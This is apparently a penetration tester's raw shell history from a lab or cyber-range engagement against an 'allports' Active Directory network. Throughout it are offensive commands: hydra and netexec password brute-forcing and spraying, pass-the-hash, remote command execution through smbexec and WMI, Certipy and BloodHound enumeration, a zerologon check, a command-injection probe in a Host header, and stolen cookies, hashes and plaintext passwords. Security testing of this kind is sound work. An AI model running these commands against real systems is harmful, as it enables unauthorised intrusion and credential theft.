_raw: : 1762635488:0;python3 script.py --webroots /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  --url 10.0.1.15 --schema http --directory_wordlist raft-medium-directories.txt --file_wordlist raft-medium-files.txt


_raw: : 1762635485:0;./verifycurlexists && ./verifyhydra


_raw: : 1762635477:0;gobuster dir -u http://10.0.1.15:8081/ -w /usr/share/wordlists/dirb/common.txt\


_raw: : 1762635469:0;chmod +x verifycurlexists


_raw: : 1762635406:0;gobuster dir -u http://10.0.1.11 -w /usr/share/wordlists/dirb/common.txt -t 50 -x php,html -l 4831


_raw: : 1762635359:0;tar -czf creds/ creds.tar


_raw: : 1762635335:0;ffuf -t 1 -u http://FUZZ.allports.tours -H "Host: FUZZ.allports.tours" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt


_raw: : 1762635294:0;./verifyhydra hydraoutput.txt http://10.0.1.11 /admin


_raw: : 1762635246:0;./verifyhydra hydraoutput.txt http://10.0.1.11 /admin


_raw: : 1762635240:0;evil-winrm -i DECKHAND-01.allports.local -r allports.local


_raw: : 1762635214:0;sudo cp krb5 /etc/krb5.conf


_raw: : 1762635208:0;ffuf -t 1 -u http://FUZZ.chat.allports.tours -H "Host: FUZZ.chat.allports.tours" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt


_raw: : 1762635191:0;python3 script.py --webroots webroots.txt --url 10.0.1.15 --schema http --directory_wordlist raft-medium-directories.txt --file_wordlist raft-medium-files.txt


_raw: : 1762635182:0;nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 10.0.1.15


_raw: : 1762635175:0;./verifyhydra hydraoutput.txt http://10.0.1.11 /admin


_raw: : 1762635174:0;nxc smb 10.0.1.6 -u rdavis -p rosdav50 -k --generate-krb5-file krb5


_raw: : 1762635170:0;nxc smb 10.0.1.6 -u rdavis -p rosdav50 -k --generate-krb5-conf krb5


_raw: : 1762635154:0;hydra -L /usr/share/seclists/Usernames/cirt-default-usernames.txt -P /usr/share/wordlists/rockyou.txt -t 4 -f 10.0.1.11 http-get /admin -o hydraoutput.txt


_raw: : 1762635140:0;gobuster dir -u http://10.0.1.11 -w /usr/share/wordlists/dirb/common.txt -t 50 -x php,html --wildcard


_raw: : 1762635121:0;nmap -A -sC -sV -vv -T5 chat.allports.tours


_raw: : 1762635043:0;curl -X POST http://10.0.1.14:80 -H "status: 'Emergency Notification System'"


_raw:
nmap -v -A 10.0.1.6
openssl s_client -connect 10.0.1.6:389
openssl s_client -connect 10.0.1.6:443
openssl s_client -connect 192.0.1.6:443
openssl s_client -connect 10.0.1.6:443
clear
nmap -p 443 --script ssl-enum-ciphers 10.0.1.6
sslcan 10.0.1.6
sslscan 10.0.1.6
openssl s_client -connect 10.0.1.6:443 allports.local0


_raw: : 1762635026:0;./verifyhydra hydra_hits.txt http://10.0.1.11 /admin


_raw: : 1762635022:0;gobuster dir -u http://10.0.1.11 -w /usr/share/wordlists/dirb/common.txt -t 50 -x php,html


_raw: : 1762635017:0;./validate_hydra_hits hydra_hits.txt http://10.0.1.11 /admin


_raw: : 1762634901:0;gobuster dir -u 10.0.1.11 -w /usr/share/wordlists/dirb/common.txt


_raw: : 1762634893:0;tmux source-file ~/.tmux.conf


_raw: : 1762634873:0;python3 script.py --webroots webroots.txt --url 10.0.1.15 --schema http --directory_wordlist raft-medium-directories.txt --file_wordlist raft-medium-files.txt


_raw: : 1762634851:0;gobuster dir -u http://10.0.1.11 -w /usr/share/wordlists/dirb/common.txt


_raw: : 1762634813:0;gobuster dir -u http://10.0.1.11:8081 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --exclude-length 12


_raw: : 1762634799:0;gobuster dir -u http://10.0.1.11:8081 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt


_raw: : 1762634756:0;python3 script.py --webroots webroots.txt --url 10.0.1.15 --schema http --directory_wordlist raft-medium-directories.txt --file_wordlist raft-medium-files.txt


_raw: : 1762634737:0;gobuster dir -u http://10.0.1.14/ -w /usr/share/wordlists/dirb/common.txt -k -t 40


_raw: : 1762634727:0;gobuster dir -u http://10.0.1.14/ -w /usr/share/wordlists/dirb/common.txt -k -t 40 -o gobuster_https_.14.txt


_raw: : 1762634717:0;nxc smb 10.0.1.21 -u cloudbase-init -p 'lPnwNn3ho97xtPSiYqsS' -k


_raw: : 1762634713:0;nxc smb 10.0.1.21 -u cloudbase-init -p 'lPnwNn3ho97xtPSiYqsS'


_raw: : 1762634708:0;nxc smb 10.0.1.21 -u cloudbase-init -p 'lPnwNn3ho97xtPSiYqsS' --local-auth


_raw: : 1762634699:0;go install github.com/sensepost/gowitness@latest


_raw: : 1762634693:0;nxc ldap 10.0.1.6 -u cloudbase-init -p 'lPnwNn3ho97xtPSiYqsS' --local-auth


_raw: : 1762634678:0;nxc ldap 10.0.1.6 -u cloudbase-init -p 'lPnwNn3ho97xtPSiYqsS'


_raw: : 1762634671:0;curl -x http://penny.allports.local/login


_raw: : 1762634644:0;feroxbuster -u http://penny.allports.local -t 3


_raw: : 1762634642:0;gobuster dir -u http://10.0.1.14/ -w /usr/share/wordlists/dirb/common.txt -t 40 -o gobuster_http_.14.txt


_raw: : 1762634623:0;nxc ldap 10.0.1.6 -u real_domain_users -p Cyb3rrange! --continue-on-success


_raw: : 1762634622:0;git clone https://github.com/sensepost/gowitness.git


_raw: : 1762634591:0;git clone https://github.com/soltanali0/CVE-2024-38475


_raw: : 1762634576:0;chown pentester:pentester outfi1e1.pcap


_raw: : 1762634572:0;chown pentester:pentester outfile1.pcap


_raw:
journalctl -exu gvmd.service
systemctl start gvmd.service
systemctl status gvmd.service
apt remove gvmd
sudo apt remove gvmd
sudo apt install gmvd
sudo apt install gmv
sudo apt install gvmd
gvmd
gvmd --rebuild
sudo gvmd --rebuild
apt install gvm
sudo apt install gvm
sudo gvm-setup


_raw: : 1762634553:0;mv outfi1e1.pcap /home/pentester/Documents


_raw: : 1762634486:0;python3 /usr/lib/python3/dist-packages/bloodhound -u rdavis -p 'rosdav50'


_raw: : 1762634474:0;python3 /usr/lib/python3/dist-packages/bloodhound -u rdavis -p 'rosdav50' -dc 10.0.1.6


_raw: : 1762634463:0;python3 /usr/lib/python3/dist-packages/bloodhound -u rdavis -p 'rosdav50' -dc 10.0.1.6 --disable-autogc


_raw: : 1762634459:0;python3 /usr/lib/python3/dist-packages/bloodhound -u rdavis -p 'rosdav50' -dc 10.0.1.6


_raw: : 1762634458:0;chown pentester:pentester outfile1.pcap


_raw: : 1762634447:0;mv outfile1.pcap tmp.pcap


_raw: : 1762634436:0;nxc ldap 10.0.1.6 -u real_domain_users -H feea9205dd9654861fd53fb43460344f --continue-on-success


_raw: : 1762634429:0;gobuster dir -u http://10.0.1.21:5985 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt


_raw: : 1762634429:0;python3 /usr/lib/python3/dist-packages/bloodhound -u rdavis -p 'rosdav50' -dc 10.0.1.6 -gc apt-dc-01


_raw: : 1762634426:0;nxc ldap 10.0.1.6 -u valid_domain_users -H feea9205dd9654861fd53fb43460344f --continue-on-success


_raw: : 1762634424:0;feroxbuster -u http://penny.allports.local/ -t 3


_raw: : 1762634411:0;python3 /usr/lib/python3/dist-packages/bloodhound -u rdavis -p 'rosdav50' -dc 10.0.1.6


_raw: : 1762634409:0;chown pentester:pentester outfile1.pcap


_raw: : 1762634378:0;feroxbuster -u http://admin.rooms.allports.tours/api/ --dont-scan http://admin.rooms.allports.tours/api/emergency,http://admin.rooms/allports.tours/api/emergencies -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -t 3


_raw: : 1762634377:0;mv outfi1e1.pcap /home/pentester


_raw: : 1762634363:0;sudo apt install mysql-client


_raw: : 1762634350:0;feroxbuster -u http://admin.rooms.allports.tours/api/ --dont-scan http://admin.rooms.allports.tours/api/emergency,http://admin.rooms/allports.tours/api/emergencies -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -t 3


_raw: : 1762634345:0;gobuster dir -u http://10.0.1.99 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --exclude-length 4831


_raw: : 1762634319:0;find / -name bloodhound 2>/dev/null


_raw: : 1762634274:0;gobuster dir -u http://10.0.1.99:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt


_raw: : 1762634264:0;cp outfile1.pcap /home/pentester/outfile-capture1.pcap


_raw: : 1762634233:0;dirb https://chat.allports.tours -z 150 -c "Cookie: session=eyJjc3JmX3Rva2VuIjoiOGZiYjhhNGNmZTQwMTc4MWFmZjk3YzBhY2Q1ZTVlM2ViMWYzY2M4MyJ9.aQ-pCg.KuqDr8brETweF8qEtzEUkNie_wU" -f


_raw: : 1762634218:0;curl -v -H "Authorization: Basic YWRtaW46MTIzNDU=" "http://10.0.1.11/admin"


_raw: : 1762634213:0;feroxbuster -u http://admin.rooms.allports.tours/api/ --dont-scan http://admin.rooms.allports.tours/api/emergency -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -t 3


_raw: : 1762634195:0;feroxbuster -u http://admin.rooms.allports.tours/api/ --dont-scan http://admin.rooms.allports.tours/api/emergency -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 3


_raw: : 1762634182:0;dirb http://chat.allports.tours -z 150 -c "Cookie: session=eyJjc3JmX3Rva2VuIjoiOGZiYjhhNGNmZTQwMTc4MWFmZjk3YzBhY2Q1ZTVlM2ViMWYzY2M4MyJ9.aQ-pCg.KuqDr8brETweF8qEtzEUkNie_wU" -f


_raw: : 1762634171:0;nxc smb 10.0.1.20 -u users -p pass -k --no-bruteforce --shares --continue-on-success


_raw: : 1762634165:0;nxc smb 10.0.1.20 -u users -p pass -k --no-bruteforce --shares


_raw: : 1762634141:0;dirb http://chat.allports.tours -z 150 -c "Cookie: session=eyJjc3JmX3Rva2VuIjoiOGZiYjhhNGNmZTQwMTc4MWFmZjk3YzBhY2Q1ZTVlM2ViMWYzY2M4MyJ9.aQ-pCg.KuqDr8brETweF8qEtzEUkNie_wU"


_raw: : 1762634126:0;nxc smb 10.0.1.20 -u users -p pass -k --no-bruteforce -X 'whoami' --exec-method smbexec --continue-on-success


_raw: : 1762634115:0;nxc smb 10.0.1.20 -u users -p pass -k --no-bruteforce -X 'whoami' --exec-method smbexec


_raw: : 1762634103:0;tshark -i eth0 -w outfi1e1.pcap


_raw: : 1762634090:0;certipy-ad -debug find -u 'REDACTED_EMAIL' -p 'Sails@way!' -dc-ip '10.0.1.6' -enabled -vulnerable


_raw: : 1762634089:0;tshark -i eth0 -w outfi1e1.pcap


_raw: : 1762634078:0;feroxbuster -u http://admin.rooms.allports.tours/api/admin/ --dont-scan http://admin.room.allports.tours/api/admin/services -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt


_raw: : 1762634076:0;certipy-ad find -u 'REDACTED_EMAIL' -p 'Sails@way!' -dc-ip '10.0.1.6' -enabled -vulnerable -debug


_raw: : 1762634055:0;gobuster dir -u http://10.0.1.99:80 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt


_raw: : 1762634052:0;nxc smb 10.0.1.20 -u rdavis -p rosdav50 -k --no-bruteforce -X 'whoami' --exec-method smbexec


_raw: : 1762634043:0;nxc smb 10.0.1.20 -u rdavis -p rosdav50 -k --no-bruteforce -X 'whoami'


_raw: : 1762634036:0;sudo chmod 777 outfile1.pcap


_raw: : 1762634034:0;nxc smb 10.0.1.20 -u rdavis -p rosdav50 -k --no-bruteforce -x 'whoami'


_raw: : 1762634028:0;feroxbuster -u http://admin.rooms.allports.tours/api/admin/ --dont-scan http://admin.room.allports.tours/api/emergency/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt


_raw: : 1762634021:0;sudo apt install docker-compose


_raw: : 1762634020:0;nxc wmi 10.0.1.20 -u rdavis -p rosdav50 -k --no-bruteforce -x 'whoami'


_raw: : 1762634017:0;sudo apt install docker-c


_raw: : 1762634004:0;bash <(curl -s https://docs.sysreptor.com/install.sh)


_raw: : 1762634002:0;gobuster dir -u http://10.0.1.11:8045 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --exclude-length 4831


_raw: : 1762633994:0;sudo apt update && sudo apt upgrade -y && sudo apt dist-upgrade -y


_raw: : 1762633994:0;sudo usermod -aG docker $USER


_raw: : 1762633989:0;sudo groupadd docker 2>/dev/null


_raw: : 1762633983:0;nxc wmi 10.0.1.20 -u users -p pass -k --no-bruteforce -x 'whoami'


_raw: : 1762633975:0;feroxbuster -u http://admin.rooms.allports.tours/api/ --dont-scan http://admin.room.allports.tours/api/emergency/ -w /usr/share/seclists/Discovery/Web-Content/common.txt


_raw: : 1762633975:0;sudo wget https://archive.kali.org/archive-keyring.gpg -O /usr/share/keyrings/kali-archive-keyring.gpg


_raw: : 1762633970:0;nxc wmi 10.0.1.20 -u users -p pass -k --no-bruteforce --continue-on-success -x 'whoami'


_raw: : 1762633968:0;certipy-ad find -u 'REDACTED_EMAIL' -p 'Sails@way!' -dc-ip '10.0.1.6' -enabled -vulnerable


_raw: : 1762633965:0;nxc wmi 10.0.1.20 -u users -p pass -k --no-bruteforce --no-write-check  --continue-on-success -x 'whoami'


_raw: : 1762633959:0;nxc wmi 10.0.1.20 -u users -p pass -k --no-bruteforce --no-write-check --exec-method smbexec --continue-on-success -x 'whoami'


_raw: : 1762633953:0;bash <(curl -s https://docs.sysreptor.com/install.sh)


_raw: : 1762633936:0;sudo tshark -i eth0 -w outfile1.pcap


_raw: : 1762633935:0;nxc smb 10.0.1.20 -u users -p pass -k --no-bruteforce --no-write-check --exec-method smbexec --continue-on-success -X 'whoami'


_raw: : 1762633928:0;nxc smb 10.0.1.20 -u users -p pass -k --no-bruteforce --no-write-check --exec-method smbexec --continue-on-success -x 'whoami'


_raw: : 1762633913:0;termshot -scf ~/termshot.png -- "nxc smb 10.0.1.20 -u users -p pass -k --no-bruteforce --no-write-check --exec-method smbexec --continue-on-success -x 'whoami'"


_raw: : 1762633912:0;feroxbuster -u http://admin.rooms.allports.tours/api/admin/ -w /usr/share/seclists/Discovery/Web-Content/common.txt


_raw: : 1762633911:0;sudo apt install -y docker-ce docker-ce-cli containerd.io


_raw: : 1762633904:0;termshot -scf ~/termshot.png -- "nxc smb 10.0.1.20 -u users -p pass -k --no-bruteforce --no-write-check --exec-method smbexec --continue-on-success -X 'whoami'"


_raw: : 1762633892:0;sudo tshark -i eth0 -w outfie1.pcap -C 50MB


_raw: : 1762633881:0;termshot -scf ~/termshot.png -- "nxc smb 10.0.1.20 -u users -p pass -k --no-bruteforce --no-write-check -X 'whoami' --exec-method smbexec --continue-on-success"


_raw:
rustscan
sudo apt install rustscan
cd Downloads
curl -LO https://github.com/bee-san/RustScan/releases/download/2.4.1/rustscan.deb.zip
apt install ./rustscan.deb.zip
sduo apt install ./rustscan.deb.zip
sudo apt install ./rustscan.deb.zip
unzip rustscan.deb.zip
sudo apt install ./rustscan_2.4.1-1_amd64.deb
rustscan
rustscan -a 10.0.1.13
rustscan -a 10.0.1.13/24 -p 80
rustscan -a 10.0.1.0/24 -p 80
rustscan -a 10.0.1.0/24 -p 80 -g
rustscan -a 10.0.1.0/24 -p 22 -g
rustscan --help
rustscan -a 10.0.1.0/24 -x "10.0.1.1\
\
10.0.1.6\
\
10.0.1.10\
\
10.0.1.11\
\
10.0.1.13\
\
10.0.1.14\
\
10.0.1.15\
\
10.0.1.20\
\
10.0.1.21\
\
10.0.1.30\
\
10.0.1.99\
\
10.0.1.254"
hx excludes.txt
cat excludes.txt
hx excludes.txt
rustscan -a 10.0.1.0/24 -x "10.0.1.1\
\
10.0.1.6\
\
10.0.1.10\
\
10.0.1.11\
\
10.0.1.13\
\
10.0.1.14\
\
10.0.1.15\
\
10.0.1.20\
\
10.0.1.21\
\
10.0.1.30\
\
10.0.1.99\
\
10.0.1.254"
rustscan -a 10.0.1.0/24 -p 22 -x $(cat ./excludes.txt)
rustscan -a 10.0.1.0/24 -p 22 -x $(cat ./excludes.txt) -g
rustscan -a 10.0.1.0/24 -x $(cat ./excludes.txt) -g
curl 10.0.1.99/api/ -H "Header: rooms.allports.tours"
curl 10.0.1.99/api/ -H "Host: rooms.allports.tours"
curl 10.0.1.99/api/ -H "Host: rooms.allports.tours" -v
curl 10.0.1.99/api -H "Host: rooms.allports.tours" -v
curl 10.0.1.99/api -H "Host: rooms.allportstours" -v
curl 10.0.1.99/api/sldkfjsdlkfj -H "Host: rooms.allports.tours" -v
curl 10.0.1.99/api/sldkfjsdlkfj -H "Host: sdlfkjsk.rooms.allports.tours" -v
curl 10.0.1.99/api/sldkfjsdlkfj -H "Host: b145.rooms.allports.tours" -v
curl 10.0.1.99/api/ -H "Host: b145.rooms.allports.tours" -v
curl 10.0.1.99/api/ -H "Host: b145.rooms.allports.tours" -v -X POST -d "hi"
curl 10.0.1.99/api/ -H "Host: b145.rooms.allports.tours" -v -X GET -d "hi"
curl 10.0.1.99/api/ -H "Host: b145.rooms.allports.tours" -v -X GET -d "sdflksjd"
curl 10.0.1.99/api/ -H "Host: ;echo hi.rooms.allports.tours" -v
curl 10.0.1.99/api/ -H "Host: echo.rooms.allports.tours" -v
curl 10.0.1.99/api/ -H "Host: B145.rooms.allports.tours" -v
feroxbuster
feroxbuster --help
fish


_raw: : 1762633863:0;termshot -scf ~/termshot.png -- "nxc smb 10.0.1.20 -u users -p pass -k --no-bruteforce --no-write-check -X 'whoami'"


_raw: : 1762633855:0;netexec smb 10.0.1.6 -u /root/usernames.txt -p /usr/share/wordlists/rockyou.txt --ignore-pw-decoding


_raw: : 1762633851:0;git clone https://github.com/ly4k/Certipy.git


_raw: : 1762633839:0;sudo vim /etc/apt/keyrings/docker.gpg


_raw: : 1762633817:0;hydra -L /usr/share/seclists/Usernames/cirt-default-usernames.txt -P /usr/share/wordlists/rockyou.txt -t 4 -f 10.0.1.11 http-get /admin


_raw: : 1762633810:0;mv default_creds_users creds/pass


_raw: : 1762633786:0;echo "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/debian trixie stable" | \sudo tee /etc/apt/sources.list.d/docker.list


_raw:
sudo greenbone-feed-sync --type SCAP\
sudo greenbone-feed-sync --type CERT\
sudo greenbone-feed-sync --type NVT
tail -f /var/log/gvm/feed-sync.log
cd /var/log/gvm
ls
cat gvmd.log
systemctl status postgresql
systemctl enable postgresql
ls
cd ..
cd /
cd gvm
ls
cd /etc/gvm
ls
nano greenbone-feed-sync.toml
nan gvmd_log.conf
l
nano gvmd_log.conf
nano pwpolicy.conf
-u postgres psql -d gvmd -U gvmd
postgres psql -d gvmd -U gvmd
sudo -u postgres psql -d gvmd -U gvmd
sudo -u postgres psql
sudo gvmd --rebuild
gvmd --rebuild
sudo gvmd --rebuild
sudo systemctl restart gvmd
journalctl -exu gvmd.service
systemctl status  gvmd.service
systemctl start gvmd.service
sudo apt install ca-certificates curl gnupg
for pkg in docker.io docker-doc docker-compose podman-docker containerd runc; do sudo apt remove $pkg; done
lsd_release -a
lsb_release -a
	sudo apt install docker-ce docker-ce-cli containerd.io docker-compose-plugin
sudo apt install gvm -y
sudo gvm-setup
sudo gvm-check-setup
sudo runuser -u _gvm -- gvmd --create-user=greenbone --password=greenbone
sudo gvm-check-setup
clear
nslookup chat.allports.tours


_raw: : 1762633760:0;ldapsearch -x -H ldap://10.0.1.6 -b "cn=configuration,dc=allports,dc=local" ""


_raw: : 1762633743:0;netexec smb 10.0.1.6 -u /root/usernames.txt -p /usr/share/wordlists/rockyou.txt --ignore-pw-decoding


_raw: : 1762633730:0;netexec smb 10.0.1.6 -u /root/usernames.txt -p /usr/share/wordlists/rockyou.txt


_raw: : 1762633718:0;ldapsearch -x -H ldap://allports.local0 -b "dc=allports,dc=local" ""


_raw:
: 1762633716:0;curl -fsSL https://download.docker.com/linux/debian/gpg |\
  sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg


_raw: : 1762633696:0;ldapsearch -x -H ldap://allports.local0 -b "dc=allports,dc=local0" ""


_raw: : 1762633677:0;ldapsearch -x -H ldap://allports.local0 -b "dc=allports,dc=local0" ""


_raw: : 1762633676:0;cat ../default_cred_users > users


_raw: : 1762633641:0;hydra -l admin -P /usr/share/wordlists/rockyou.txt -t 4 -f 10.0.1.11 http-get /admin


_raw: : 1762633629:0;hydra -l admin -P /usr/share/wordlists/rockyou.txt -t 4 -f 10.0.1.11:8081 http-get /admin


_raw: : 1762633615:0;gobuster dir -u http://10.0.1.11:8000 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --exclude-length 52


_raw:
: 1762633611:0;echo "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/debian bookworm stable" | \\
  sudo tee /etc/apt/sources.list.d/docker.list


_raw: : 1762633603:0;ldapsearch -x -H ldap://10.0.1.6 -b "dc=allports,dc=local0" "(domain=*)"


_raw: : 1762633590:0;nxc smb 10.0.1.20 -u svc_stabilize -p '1gyroscope' -X 'whoami' -k --exec-method smbexec


_raw: : 1762633581:0;nxc smb 10.0.1.20 -u svc_stabilize -p '1gyroscope' -X 'whoami' -k


_raw: : 1762633578:0;nxc smb 10.0.1.20 -u svc_stabilize -p '1gyroscope' -X 'whoami'


_raw: : 1762633574:0;gobuster dir -u http://10.0.1.11:8000 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt


_raw: : 1762633559:0;nxc smb workstations -u svc_stabilize -p '1gyroscope'  -k --shares


_raw: : 1762633555:0;gobuster dir -u http://10.0.1.11:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt


_raw: : 1762633553:0;hydra -l admin -P /usr/share/wordlists/rockyou.txt -t 4 -f http-get:/10.0.1.11:8081 /admin


_raw: : 1762633541:0;hydra -l admin -P /usr/share/wordlists/rockyou.txt -t 4 -f http-get:/10.0.1.11:8081 http-get /admin


_raw: : 1762633538:0;curl -I -k https://10.0.1.14/ | tee https_root_headers.txt


_raw: : 1762633531:0;hydra -l admin -P /usr/share/wordlists/rockyou.txt -t 4 -f http-get://10.0.1.11:8081 http-get /admin


_raw: : 1762633527:0;systemctl enable docker --now


_raw: : 1762633492:0;hydra -l admin -P /usr/share/wordlists/rockyou.txt -t 4 -f server 10.0.1.11:8081 http-get /admin


_raw: : 1762633476:0;termshot -scf ~/termshot.png -- "nxc smb 10.0.1.21 -u rdavis -p rosdav50 -k --shares"


_raw: : 1762633471:0;hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -P /usr/share/wordlists/rockyou.txt server 10.0.1.11:8080 /


_raw:
curl -h
curl -u admin:password 10.0.1.11 -O 10.0.1.11/uploads/68dad1db2a0ceffc6f7f5770/4057dd90-c6c3-4676-a2c1-76abc79c863e__All_Ports_Tours_Earnings_Report.xlsx
curl -h
curl -b s%3A21MgMBkKCAF9RQ553r8kI1NA2UY5GF_x.L4J5BWUFexbvCllvSqZh6jAvKOVb48gLFlKWfBO85FA 10.0.1.11 -O /uploads/68dad1db2a0ceffc6f7f5770/4057dd90-c6c3-4676-a2c1-76abc79c863e__All_Ports_Tours_Earnings_Report.xlsx
curl 10.0.1.11:8081 -b s%3A21MgMBkKCAF9RQ553r8kI1NA2UY5GF_x.L4J5BWUFexbvCllvSqZh6jAvKOVb48gLFlKWfBO85FA 10.0.1.11 -O /uploads/68dad1db2a0ceffc6f7f5770/4057dd90-c6c3-4676-a2c1-76abc79c863e__All_Ports_Tours_Earnings_Report.xlsx
curl 10.0.1.11:8081 -b s%3A21MgMBkKCAF9RQ553r8kI1NA2UY5GF_x.L4J5BWUFexbvCllvSqZh6jAvKOVb48gLFlKWfBO85FA -O /uploads/68dad1db2a0ceffc6f7f5770/4057dd90-c6c3-4676-a2c1-76abc79c863e__All_Ports_Tours_Earnings_Report.xlsx
curl 10.0.1.11:8081 -b "mongo-express=s%3A21MgMBkKCAF9RQ553r8kI1NA2UY5GF_x.L4J5BWUFexbvCllvSqZh6jAvKOVb48gLFlKWfBO85FA" -O /uploads/68dad1db2a0ceffc6f7f5770/4057dd90-c6c3-4676-a2c1-76abc79c863e__All_Ports_Tours_Earnings_Report.xlsx
curl -O 10.0.1.11:8081/uploads/68dad1db2a0ceffc6f7f5770/4057dd90-c6c3-4676-a2c1-76abc79c863e__All_Ports_Tours_Earnings_Report.xlsx -b "mongo-express=s%3A21MgMBkKCAF9RQ553r8kI1NA2UY5GF_x.L4J5BWUFexbvCllvSqZh6jAvKOVb48gLFlKWfBO85FA"
ls
cat 4057dd90-c6c3-4676-a2c1-76abc79c863e__All_Ports_Tours_Earnings_Report.xlsx
curl -O 10.0.1.11:8081/uploads/68dad1db2a0ceffc6f7f5770/4057dd90-c6c3-4676-a2c1-76abc79c863e__All_Ports_Tours_Earnings_Report.xlsx -b "mongo-express=s%3A21MgMBkKCAF9RQ553r8kI1NA2UY5GF_x.L4J5BWUFexbvCllvSqZh6jAvKOVb48gLFlKWfBO85FA"
less /home/pentester/4057dd90-c6c3-4676-a2c1-76abc79c863e__All_Ports_Tours_Earnings_Report.xlsx


_raw: : 1762633461:0;hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -P /usr/share/wordlists/rockyou.txt server 10.0.1.11:8080


_raw: : 1762633431:0;nikto -h 10.0.1.15 -Tuning 1 -o nikto_15.html -Format html


_raw: : 1762633417:0;termshot -scf ~/termshot.png -- "nxc smb 10.0.1.21 -u druiz -p Sails@way! -k --continue-on-success --shares"


_raw: : 1762633393:0;gobuster dir -u http://10.0.1.11:80 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --exclude-length 4831


_raw: : 1762633388:0;gobuster dir -u http://10.0.1.11:80 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --exclude 4831


_raw: : 1762633385:0;apt search hydra-gtk hydra


_raw: : 1762633369:0;xfreerdp3 /v:10.0.1.21 /u:guest /p:guest /d:allports.local


_raw: : 1762633351:0;sudo apt install -y docker.io


_raw: : 1762633349:0;gobuster dir -u http://10.0.1.11/ -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt --exclude-length 4831


_raw: : 1762633346:0;xfreerdp3 /v:10.0.1.21 /u:allports.local\\guest /p:guest


_raw: : 1762633327:0;gobuster dir -u http://10.0.1.11/ -w /usr/share/wordlists/dirbuster --exclude-length 4831


_raw: : 1762633314:0;sudo systemctl status docker


_raw: : 1762633306:0;termshot -scf ~/termshot.png -- "nxc smb 10.0.1.20 -u default_cred_users -p Sails@way! -k --continue-on-success --shares"


_raw: : 1762633304:0;gobuster dir -u http://10.0.1.11/ -w /usr/share/wordlists/fasttrack.txt --exclude-length 4831


_raw: : 1762633281:0;bash <(curl -s https://docs.sysreptor.com/install.sh)


_raw: : 1762633279:0;python3 ./main.py | tee pgvector_routes.py


_raw: : 1762633277:0;nxc smb 10.0.1.20 -u default_cred_users -p Sails@way! -k --continue-on-success --shares


_raw: : 1762633269:0;nxc smb 10.0.1.21 -u default_cred_users -p Sails@way! -k --continue-on-success --shares


_raw: : 1762633266:0;python3 ./main.py | tee main2.py


_raw: : 1762633258:0;nxc smb 10.0.1.21 -u default_cred_users -p Sails@way! -k --continue-on-success


_raw: : 1762633253:0;nxc smb 10.0.1.21 -u default_cred_users -p Sails@way! -k


_raw: : 1762633239:0;nxc smb 10.0.1.6 -u valid_domain_users -p Sails@way! -k


_raw: : 1762633222:0;sudo systemctl status docker


_raw: : 1762633216:0;sudo systemctl start dockerd


_raw: : 1762633213:0;sudo systemctl start docker


_raw: : 1762633193:0;sudo service dockerd start


_raw: : 1762633167:0;nxc smb 10.0.1.6 -u rdavis -p rosdav50 -k --local-auth


_raw: : 1762633154:0;sudo service docker start


_raw: : 1762633125:0;bash <(curl -s https://docs.sysreptor.com/install.sh)


_raw: : 1762633113:0;sudo usermod -aG docker $USER


_raw: : 1762633107:0;gobuster dir -u http://10.0.1.11/ -w /usr/share/wordlists/fasttrack.txt


_raw: : 1762633104:0;sudo groupadd docker 2>/dev/null


_raw:
: 1762633079:0;sudo groupadd docker 2>/dev/null  # Creates the Docker group if it doesn't exist\
sudo usermod -aG docker $USER  # Add the current user to the Docker group\
newgrp -  # Instantly apply the group membership


_raw:
xfreerdp3 /v:10.0.1.6 /u: /p: /sec:nla
nmap -p 3389 --script rdp-enum-encryption 10.0.1.6
nxc rdp 10.0.1.6
clear
ls
clear
nxc smb 10.0.1.6 -u rdavis -p 'rosdav50'
nxc smb 10.0.1.6 -u rdavis -p 'rosdav50' --shares
nxc smb 10.0.1.6 -u rdavis -p 'rosdav50' --users
clear
nxc smb 10.0.1.6 -u rdavis -p 'rosdav50' --local-auth
nxc smb windowshosts.txt -u rdavis -p 'rosdav50' --local-auth
nxc smb 10.0.1.6 -u rdavis -p 'rosdav50' -L
nxc smb 10.0.1.6 -u rdavis -p 'rosdav50' -M gpp_autologon
nxc smb 10.0.1.6 -u rdavis -p 'rosdav50' -M gpp_autologin
nxc smb 10.0.1.6 -u rdavis -p 'rosdav50' -M gpp_password
nxc smb 10.0.1.6 -u rdavis -p 'rosdav50' -M enum_av
nxc smb 10.0.1.6 -u rdavis -p 'rosdav50' --pass-pol
nxc smb 10.0.1.6 -u rdavis -p 'rosdav50' -L
nxc smb 10.0.1.6 -u rdavis -p 'rosdav50' -L | less
nxc smb 10.0.1.6 -u rdavis -p 'rosdav50' -M zerologon
nxc smb 10.0.1.6 -u rdavis -p 'rosdav50' -L | less
nxc smb 10.0.1.6 -u 'svc_stabilize' -p '1gyroscope'
